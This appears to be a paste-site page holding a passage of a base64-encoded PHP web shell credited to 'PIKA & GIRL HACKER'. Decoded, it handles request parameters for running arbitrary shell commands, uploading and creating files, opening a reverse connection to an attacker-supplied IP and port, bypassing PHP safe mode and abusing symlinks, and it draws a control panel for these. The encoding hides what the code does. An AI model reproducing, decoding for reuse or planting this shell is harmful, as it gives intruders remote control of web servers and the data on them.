KZWxzZSBpZihpc3NldCgkX0dFVFsncGF0aCddKSAmJiBpc3NldCgkX0dFVFsnbmV3X2ZpbGUnXSkpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgbWtfZmlsZV91aSgpOw0KfQ0KZWxzZSBpZihpc3NldCgkX0dFVFsncGF0aCddKSAmJiBpc3NldCgkX0dFVFsnbmV3X2ZfbmFtZSddKSAmJiBpc3NldCgkX0dFVFsnbl9maWxlX2NvbnRlbnQnXSkpDQp7DQogICAgbWtfZmlsZV9iZygpOw0KfQ0KZWxzZSBpZihpc3NldCgkX0dFVFsncGF0aCddKSAmJiBpc3NldCgkX0dFVFsnbmV3X2RpciddKSkNCnsNCiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsNCiAgICBjcmVhdGVfZGlyKCk7DQp9DQplbHNlIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pICYmIGlzc2V0KCRfR0VUWydjbWRleGUnXSkpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgY21kKCk7DQp9DQplbHNlIGlmKGlzc2V0KCRfUE9TVFsndXBsb2FkX2YnXSkgJiYgaXNzZXQoJF9QT1NUWydwYXRoJ10pKQ0Kew0KICAgIHVwbG9hZF9maWxlKCk7DQp9DQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsncnMnXSkpDQp7DQogICAgcmV2ZXJzZV9jb25uX3VpKCk7DQp9DQplbHNlIGlmKGlzc2V0KCRfR0VUWydyZXZfb3B0aW9uJ10pICYmIGlzc2V0KCRfR0VUWydteV9pcCddKSAmJiBpc3NldCgkX0dFVFsnbXlfcG9ydCddKSkNCnsNCiAgICByZXZlcnNlX2Nvbm5fYmcoKTsNCn0NCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydzYWZlX21vZCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BhdGgnXSkpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgc2FmZV9tb2RlX2Z1Y2tfdWkoKTsNCn0NCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkgJiYgaXNzZXQoJF9HRVRbJ3NhZmVfbW9kZSddKSkNCnsNCiAgICBzYWZlX21vZGVfZnVjaygpOw0KfQ0KZWxzZSBpZihpc3NldCgkX0dFVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2ZvcmJkX2RpciddKSkNCnsNCiAgICBBY2Nlc3NEZW5pZWQoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ3N5bWxpbmsnXSkpDQp7DQogICAgc3ltX2xpbmsoKTsNCn0NCmVsc2UgaWYoJF9HRVRbJ3BpZCddPT0neWVzJykNCnsNCiAgcGJ0X3VpKCk7DQp9DQplbHNlIGlmKCRfR0VUWydwc3knXT09J3llcycpDQp7DQpwc3lfeHlfdWkoKTsNCn0NCg0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pICYmIGlzc2V0KCRfR0VUWydjb3B5J10pKQ0Kew0KICAgIGNvcHlfZmlsZV91aSgpOw0KfQ0KZWxzZSBpZihpc3NldCgkX0dFVFsnY19maWxlJ10pICYmIGlzc2V0KCRfR0VUWydjX3RhcmdldCddKSAmJmlzc2V0KCRfR0VUWydjbl9uYW1lJ10pKQ0Kew0KICAgIGNvcHlfZmlsZV9iZygpOw0KfQ0KZWxzZQ0Kew0KICAgIGZpbGVtYW5hZ2VyX2JnKCk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLyBFbmQgRnJvbmQgRW5kIENhbGxzIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQplY2hvICI8L2Rpdj48ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxwPjx0YWJsZSBjbGFzcz0ndGJsJz4NCiAgICAgIDx0cj48dGQ+PGZvcm0gbWV0aG9kPSdHRVQnPlBXRCA6IDxpbnB1dCBzaXplPSc1MCcgbmFtZT0ncGF0aCcgdmFsdWU9Ii5nZXRjd2QoKS4iPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICcgLz48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+DQogICAgICA8dGFibGUgY2xhc3M9J3RibCc+PHRyPg0KICAgICAgICAgIDx0ZD48Zm9ybSBzdHlsZT0nZmxvYXQ6cmlnaHQ7JyBtZXRob2Q9J0dFVCc+PGlucHV0IG5hbWU9J3BhdGgnIHZhbHVlPSIuZ2V0Y3dkKCkuIiB0eXBlPWhpZGRlbj48c3Bhbj4gTmV3IEZpbGUgOiA8L3NwYW4+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+ICAgJyA+PGlucHV0IHNpemU9JzQwJyBuYW1lPSduZXdfZmlsZScgLz48L2Zvcm0+DQogICAgICAgICAgPC90ZD4NCiAgICAgICAgICA8dGQ+PGZvcm0gIHN0eWxlPSdmbG9hdDpsZWZ0OycgbWV0aG9kPSdHRVQnPjxpbnB1dCBuYW1lPSdwYXRoJyB2YWx1ZT0iLmdldGN3ZCgpLiIgdHlwZT1oaWRkZW4+PGlucHV0IHNpemU9JzQwJyBuYW1lPSduZXdfZGlyJz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+PHNwYW4+IDogTmV3IERpcjwvc3Bhbj48L2Zvcm0+DQogICAgICAgICAgPC90ZD4NCiAgICAgIDwvdHI+DQogICAgICA8dHI+DQogICAgICAgICAgPHRkPjxmb3JtIHN0eWxlPSdmbG9hdDpyaWdodDsnIG1ldGhvZD0nR0VUJz48aW5wdXQgc3R5bGU9J2Zsb2F0OmxlZnQ7JyBuYW1lPSdwYXRoJyB2YWx1ZT0iLmdldGN3ZCgpLiIgdHlwZT1oaWRkZW4+PHNwYW4+Q01EIDogPC9zcGFuPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICcgPjxpbnB1dCBuYW1lPSdjbWRleGUnIHNpemU9JzQwJyAvPjwvZm9ybT4NCiAgICAgICAgICA8L3RkPg0KICAgICAgICAgIDx0ZD48Zm9ybSBzdHlsZT0nZmxvYXQ6bGVmdDsnIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIj48aW5wdXQgbmFtZT0ncGF0aCcgdmFsdWU9Ii5nZXRjd2QoKS4iIHR5cGU9aGlkZGVuPjxpbnB1dCBzaXplPScyNycgbmFtZT0ndXBsb2FkX2YnIHR5cGU9J2ZpbGUnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbG9hZF9mJyB2YWx1ZT0nICAgPj4gICAnIC8+PHNwYW4+IDogVXBsb2FkIEZpbGU8L3NwYW4+PC9mb3JtPg0KICAgICAgICAgIDwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICA8L3RhYmxlPjwvcD48cD48Zm9udCBzaXplPTQgY29sb3I9Z3JlZW4+JmNvcHkgPGEgc3R5bGU9J2NvbG9yOmdyZWVuOyB0ZXh0LWRlY29yYXRpb246bm9uZTsnIGhyZWY9Iz5QSUtBPC9hPiAmIDxhIHN0eWxlPSdjb2xvcjpncmVlbjsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7JyBocmVmPSdodHRwOi8vd3d3LmZhY2Vib29rLmNvbS9teWF0bGF5a2hpbmUnPkdJUkwgSEFDS0VSPC9hPiAmY29weTwvZm9udD48YnIgLz4mcmVnIHBpa2EgWzIwMTJdICZyZWc8L2Rpdj4iDQo/Pg=="));
- ?>
Advertisement
Add Comment
Please, Sign In to add comment